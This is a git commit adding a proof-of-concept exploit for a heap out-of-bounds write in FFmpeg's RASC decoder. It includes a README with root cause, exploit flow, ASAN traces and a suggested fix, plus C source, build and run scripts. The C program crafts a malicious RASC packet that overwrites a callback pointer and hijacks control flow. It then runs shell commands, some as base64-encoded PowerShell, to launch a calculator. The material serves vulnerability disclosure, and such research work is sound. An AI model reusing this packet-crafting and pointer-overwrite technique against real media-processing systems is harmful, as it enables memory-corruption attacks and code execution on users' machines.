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Add FFmpeg RASC DLTA calc PoC

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This commit is contained in:
ashton
2026-06-26 12:37:41 -05:00
parent 1627accd7d
commit d7bdd1d45c
9 changed files with 586 additions and 1 deletions
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ffmpeg-rasc-dlta-calc-poc/README.md Normal file
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# FFmpeg RASC DLTA calc PoC
This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder.
The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom `get_buffer2` callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under `/tmp` and launches Calculator.
## Status
Verified target:
```text
FFmpeg upstream master
bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c
2026-06-26
```
Local result:
```text
media-controlled RASC DLTA overwrite redirected callback
callback hijacked callback reached
marker:present
CalculatorApp 26628 6/26/2026 12:25:53 PM
```
## Files
```text
poc/ffmpeg_rasc_dlta_calc_poc.c
scripts/build_from_checkout.sh
scripts/run_calc_pop.sh
evidence/current-master-asan.txt
evidence/local-calc-pop.txt
SHA256SUMS.txt
```
## Affected Target
- Product: FFmpeg
- Component: `libavcodec` RASC decoder
- Decoder: `AV_CODEC_ID_RASC`
- File reachability: AVI/RIFF `RASC` FourCC maps to `AV_CODEC_ID_RASC`
- Verified commit: `bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c`
- Affected function: `decode_dlta()`
- Useful run types: `4`, `7`, `12`, `13`
The local Calculator proof uses run type `7` because the 32-bit `fill` value comes directly from the bitstream.
## Impact
A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at `plane + 63` while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data.
The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from `benign_callback` to `calc_callback`. After decode completes, the PoC calls the pointer and Calculator launches.
## Root Cause
`decode_dlta()` tracks a cursor `cx` inside a region with width `w * s->bpp`. The `NEXT_LINE` macro checks whether `cx` reached the row width only after each operation:
```text
if (cx >= w * s->bpp) {
cx = 0;
cy--;
b1 -= s->frame1->linesize[0];
b2 -= s->frame2->linesize[0];
}
len--;
```
Several DLTA run types perform 32-bit accesses before the row-end check. Run type `7` reads and writes four bytes at the current byte cursor and then advances by four:
```text
fill = bytestream2_get_le32(&dc);
AV_WL32(b1 + cx, AV_RL32(b2 + cx));
AV_WL32(b2 + cx, fill);
cx += 4;
NEXT_LINE
```
For PAL8, `s->bpp` is `1`. A DLTA region with `x = 63`, `w = 1`, and `h = 1` on a 64-pixel row sets `b2 + cx` to the final byte of the row. The 32-bit store crosses the row allocation boundary.
## Packet Shape
The PoC packet contains two RASC chunks:
```text
INIT
width = 64
height = 1
format = 8
palette = 1024 bytes
DLTA
x = 63
y = 0
w = 1
h = 1
compression = 0
command = 07 01 <fill32>
```
The `fill32` value is generated at runtime:
```text
fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41
```
The byte `0x41` lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer.
## Exploit Flow
1. The PoC opens the RASC decoder through `avcodec_find_decoder()` and `avcodec_open2()`.
2. The PoC installs `exploit_get_buffer2()` as the decoder buffer provider.
3. RASC `INIT` causes `init_frames()` to allocate `frame1` and `frame2`.
4. `exploit_get_buffer2()` returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane.
5. RASC `DLTA` run type `7` writes past `frame2->data[0] + 63`.
6. The write changes `frame2_chunk->cb` from `benign_callback` to `calc_callback`.
7. The PoC verifies the pointer value.
8. The PoC invokes the callback.
9. The callback writes `/tmp/ffmpeg_rasc_exec_demo` and launches Calculator.
## Build
Clone FFmpeg and build the PoC against a RASC-only static libavcodec build:
```bash
git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg
./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc
```
Dependencies:
```text
Linux or WSL
gcc
make
zlib development headers
FFmpeg build dependencies for the selected platform
```
The build script configures FFmpeg with:
```text
--disable-programs
--disable-autodetect
--disable-everything
--enable-zlib
--enable-decoder=rasc
```
## Run
```bash
./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc
```
Expected output:
```text
[addr] benign_callback=0x5fec957072c9
[addr] calc_callback=0x5fec957072e3
[ptr] frame1 callback after decode=0x5fec957072c9
[ptr] frame2 callback after decode=0x5fec957072e3
[ptr] expected target=0x5fec957072e3
[ok] media-controlled RASC DLTA overwrite redirected callback
[callback] hijacked callback reached
marker:present
```
On WSL, the callback starts Calculator through PowerShell `Start-Process calc.exe`. On Linux desktops, the callback tries common calculator binaries after writing the marker file.
## Local Verification
Calculator proof:
```text
[addr] benign_callback=0x5fec957072c9
[addr] calc_callback=0x5fec957072e3
[ptr] frame1 callback after decode=0x5fec957072c9
[ptr] frame2 callback after decode=0x5fec957072e3
[ptr] expected target=0x5fec957072e3
[ok] media-controlled RASC DLTA overwrite redirected callback
[callback] hijacked callback reached
marker:present
ProcessName Id StartTime
----------- -- ---------
ApplicationFrameHost 24728 6/25/2026 9:55:34 PM
CalculatorApp 26628 6/26/2026 12:25:53 PM
```
ASAN proof on current master:
```text
==513==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4 at 0x50a000000442 thread T0
#0 decode_dlta build/src/libavcodec/rasc.c:421:17
#1 decode_frame build/src/libavcodec/rasc.c:712:19
0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440)
SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta
```
Recovery-mode ASAN on the same source shape reports the follow-on writes:
```text
READ of size 4
decode_dlta rasc.c:421:17
WRITE of size 4
decode_dlta rasc.c:421:17
WRITE of size 4
decode_dlta rasc.c:422:17
```
## Patch Shape
The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access.
The guarded condition for a 32-bit operation is:
```text
cx + 4 <= w * s->bpp
```
The same guard applies to run types `4`, `7`, `12`, and `13`.
## References
- FFmpeg project: https://ffmpeg.org/
- FFmpeg source: https://github.com/FFmpeg/FFmpeg
- RASC decoder source: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/rasc.c
- RIFF codec tags: https://github.com/FFmpeg/FFmpeg/blob/master/libavformat/riff.c

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ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt Normal file
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673708db6c4a4688b0dd2e997f903820ad49d0a22fe32f016738df31207df405 ffmpeg-rasc-dlta-calc-poc/README.md
1c2871104b11b13ef03872113466beb7984dc8a6d49cd8150f33ccbb93a3a35a ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c
6964fcd5c70bd71ac3a15e8e54968d1aaca24490a458c7d954511351c5ae5a11 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh
8e432e3d82695fe9b18c9f6f35ae420778811c5b43e894b0f817cc0bf76d0cae ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh
c51146d5ab0e320a794f3445a697dfcca876c105cc58a5aeba5ad1e7d941b1ed ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt
8d28c7f1d50c1d819b5bab6efa3f3ace0be46eae7203fbd0febb8e7b379c011f ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt

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FFmpeg upstream master
bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c
target_dec_rasc_fuzzer sha256 1a69d27a5e06673832bd677189d790cb3cae98de1ba15b1600f3cb98d9510cb9
rasc-dlta-oob-64.bin sha256 80e670d8986992e1dad50c0df554d9826d81d9413fd43be95be431f15c4cf67e
ASAN_OPTIONS=allocator_may_return_null=1 ./target_dec_rasc_fuzzer ./rasc-dlta-oob-64.bin
==513==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a000000442
READ of size 4 at 0x50a000000442 thread T0
#0 decode_dlta build/src/libavcodec/rasc.c:421:17
#1 decode_frame build/src/libavcodec/rasc.c:712:19
#2 decode_simple_internal build/src/libavcodec/decode.c:451:16
#3 decode_simple_receive_frame build/src/libavcodec/decode.c:611:15
#4 ff_decode_receive_frame_internal build/src/libavcodec/decode.c:647:15
#5 decode_receive_frame_internal build/src/libavcodec/decode.c:665:15
#6 avcodec_send_packet build/src/libavcodec/decode.c:749:15
#7 LLVMFuzzerTestOneInput build/src/tools/target_dec_fuzzer.c:576:25
0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440)
allocated by thread T0 here:
#0 posix_memalign
#1 av_malloc build/src/libavutil/mem.c:107:9
#2 av_buffer_alloc build/src/libavutil/buffer.c:82:12
#3 av_buffer_allocz build/src/libavutil/buffer.c:95:24
#4 fuzz_video_get_buffer build/src/tools/target_dec_fuzzer.c:145:29
#5 fuzz_get_buffer2 build/src/tools/target_dec_fuzzer.c:168:18
#6 ff_get_buffer build/src/libavcodec/decode.c:1818:11
#7 init_frames build/src/libavcodec/rasc.c:107:16
#8 decode_fint build/src/libavcodec/rasc.c:162:11
#9 decode_frame build/src/libavcodec/rasc.c:706:19
SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta

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PoC output:
[addr] benign_callback=0x5fec957072c9
[addr] calc_callback=0x5fec957072e3
[ptr] frame1 callback after decode=0x5fec957072c9
[ptr] frame2 callback after decode=0x5fec957072e3
[ptr] expected target=0x5fec957072e3
[ok] media-controlled RASC DLTA overwrite redirected callback
[callback] hijacked callback reached
marker:present
Windows processes after PoC:
ProcessName Id StartTime
----------- -- ---------
ApplicationFrameHost 24728 6/25/2026 9:55:34 PM
CalculatorApp 26628 6/26/2026 12:25:53 PM

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#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libavcodec/avcodec.h"
#include "libavutil/buffer.h"
#include "libavutil/error.h"
#include "libavutil/frame.h"
#include "libavutil/mem.h"
#define FRAME_W 64
#define FRAME_H 1
#define RASC_INIT 0x54494e49u
#define RASC_DLTA 0x41544c44u
typedef void (*demo_callback)(void);
typedef struct DemoChunk {
uint8_t plane[FRAME_W];
demo_callback cb;
uint8_t palette[1024];
} DemoChunk;
static DemoChunk *frame1_chunk;
static DemoChunk *frame2_chunk;
static void benign_callback(void)
{
puts("[callback] benign callback reached");
}
static void calc_callback(void)
{
const char *fallbacks[] = {
"cmd.exe /c start calc.exe >/dev/null 2>&1",
"xcalc >/dev/null 2>&1 &",
"gnome-calculator >/dev/null 2>&1 &",
"kcalc >/dev/null 2>&1 &"
};
puts("[callback] hijacked callback reached");
system("touch /tmp/ffmpeg_rasc_exec_demo");
if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0)
return;
for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) {
if (system(fallbacks[i]) == 0)
return;
}
}
static void free_demo_chunk(void *opaque, uint8_t *data)
{
(void)opaque;
av_free(data);
}
static void put_le16(uint8_t *p, uint16_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
}
static void put_le32(uint8_t *p, uint32_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
p[2] = (uint8_t)(v >> 16);
p[3] = (uint8_t)(v >> 24);
}
static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size)
{
put_le32(*cursor, tag);
put_le32(*cursor + 4, body_size);
*cursor += 8;
}
static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr)
{
const uint32_t init_body_size = 72 + 1024;
const uint32_t dlta_cmd_size = 6;
const uint32_t dlta_body_size = 40 + dlta_cmd_size;
const size_t total = 8 + init_body_size + 8 + dlta_body_size;
uint8_t *packet = av_mallocz(total);
uint8_t *p = packet;
uint8_t *body;
uint32_t fill;
if (!packet)
return NULL;
make_chunk(&p, RASC_INIT, init_body_size);
body = p;
put_le32(body + 0, 0x65);
put_le32(body + 8, FRAME_W);
put_le32(body + 12, FRAME_H);
put_le16(body + 46, 8);
for (int i = 0; i < 256; i++)
put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u));
p += init_body_size;
make_chunk(&p, RASC_DLTA, dlta_body_size);
body = p;
put_le32(body + 12, dlta_cmd_size);
put_le32(body + 16, FRAME_W - 1);
put_le32(body + 20, 0);
put_le32(body + 24, 1);
put_le32(body + 28, 1);
put_le32(body + 36, 0);
fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u);
body[40] = 7;
body[41] = 1;
put_le32(body + 42, fill);
*packet_size = total;
return packet;
}
static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags)
{
static int allocation_index;
DemoChunk *chunk;
(void)flags;
if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H)
return AVERROR(EINVAL);
chunk = av_mallocz(sizeof(*chunk));
if (!chunk)
return AVERROR(ENOMEM);
chunk->cb = benign_callback;
frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0);
if (!frame->buf[0]) {
av_free(chunk);
return AVERROR(ENOMEM);
}
frame->data[0] = chunk->plane;
frame->data[1] = chunk->palette;
frame->linesize[0] = FRAME_W;
frame->extended_data = frame->data;
if (allocation_index == 0)
frame1_chunk = chunk;
else if (allocation_index == 1)
frame2_chunk = chunk;
allocation_index++;
return 0;
}
static void fail_av(const char *what, int err)
{
char buf[AV_ERROR_MAX_STRING_SIZE];
av_strerror(err, buf, sizeof(buf));
fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err);
exit(1);
}
int main(void)
{
const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC);
AVCodecContext *ctx = NULL;
AVPacket *pkt = NULL;
AVFrame *frame = NULL;
uint8_t *packet_data = NULL;
size_t packet_size = 0;
int ret;
if (!codec) {
fputs("RASC decoder missing\n", stderr);
return 1;
}
printf("[addr] benign_callback=%p\n", (void *)benign_callback);
printf("[addr] calc_callback=%p\n", (void *)calc_callback);
if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) {
fputs("callbacks outside 24-bit overwrite window\n", stderr);
return 1;
}
ctx = avcodec_alloc_context3(codec);
pkt = av_packet_alloc();
frame = av_frame_alloc();
if (!ctx || !pkt || !frame)
fail_av("allocation", AVERROR(ENOMEM));
ctx->thread_count = 1;
ctx->get_buffer2 = exploit_get_buffer2;
ret = avcodec_open2(ctx, codec, NULL);
if (ret < 0)
fail_av("avcodec_open2", ret);
packet_data = make_packet(&packet_size, (uintptr_t)calc_callback);
if (!packet_data)
fail_av("make_packet", AVERROR(ENOMEM));
ret = av_new_packet(pkt, (int)packet_size);
if (ret < 0)
fail_av("av_new_packet", ret);
memcpy(pkt->data, packet_data, packet_size);
av_free(packet_data);
ret = avcodec_send_packet(ctx, pkt);
if (ret < 0)
fail_av("avcodec_send_packet", ret);
ret = avcodec_receive_frame(ctx, frame);
if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF)
fail_av("avcodec_receive_frame", ret);
if (!frame2_chunk) {
fputs("frame2 allocation missing\n", stderr);
return 1;
}
printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb);
printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb);
printf("[ptr] expected target=%p\n", (void *)calc_callback);
if (frame2_chunk->cb != calc_callback) {
fputs("callback pointer unchanged\n", stderr);
return 1;
}
puts("[ok] media-controlled RASC DLTA overwrite redirected callback");
frame2_chunk->cb();
av_frame_free(&frame);
av_packet_free(&pkt);
avcodec_free_context(&ctx);
return 0;
}

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#!/usr/bin/env bash
set -euo pipefail
src="${1:?usage: build_from_checkout.sh /path/to/ffmpeg-checkout [build-dir] [output-bin]}"
build="${2:-/tmp/ffmpeg-rasc-dlta-build}"
out="${3:-./ffmpeg_rasc_dlta_calc_poc}"
root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
jobs="${JOBS:-$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)}"
cc="${CC:-gcc}"
mkdir -p "$build"
cd "$build"
"$src/configure" \
--enable-debug \
--disable-doc \
--disable-stripping \
--disable-x86asm \
--disable-programs \
--disable-autodetect \
--disable-everything \
--enable-zlib \
--enable-decoder=rasc
make -j"$jobs" libavcodec/libavcodec.a libavutil/libavutil.a
"$cc" -g -O0 \
-I"$build" \
-I"$src" \
"$root/poc/ffmpeg_rasc_dlta_calc_poc.c" \
"$build/libavcodec/libavcodec.a" \
"$build/libavutil/libavutil.a" \
-lz -lm -pthread -ldl \
-o "$out"
printf '%s\n' "$out"

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#!/usr/bin/env bash
set -euo pipefail
bin="${1:-./ffmpeg_rasc_dlta_calc_poc}"
marker="/tmp/ffmpeg_rasc_exec_demo"
rm -f "$marker"
"$bin"
sleep 2
if [ -f "$marker" ]; then
echo "marker:present"
else
echo "marker:missing"
exit 1
fi
if command -v powershell.exe >/dev/null 2>&1; then
powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAQwBhAGwAYwB1AGwAYQB0AG8AcgBBAHAAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAAUAByAG8AYwBlAHMAcwBOAGEAbQBlACwASQBkACwAUwB0AGEAcgB0AFQAaQBtAGUA 2>/dev/null || true
fi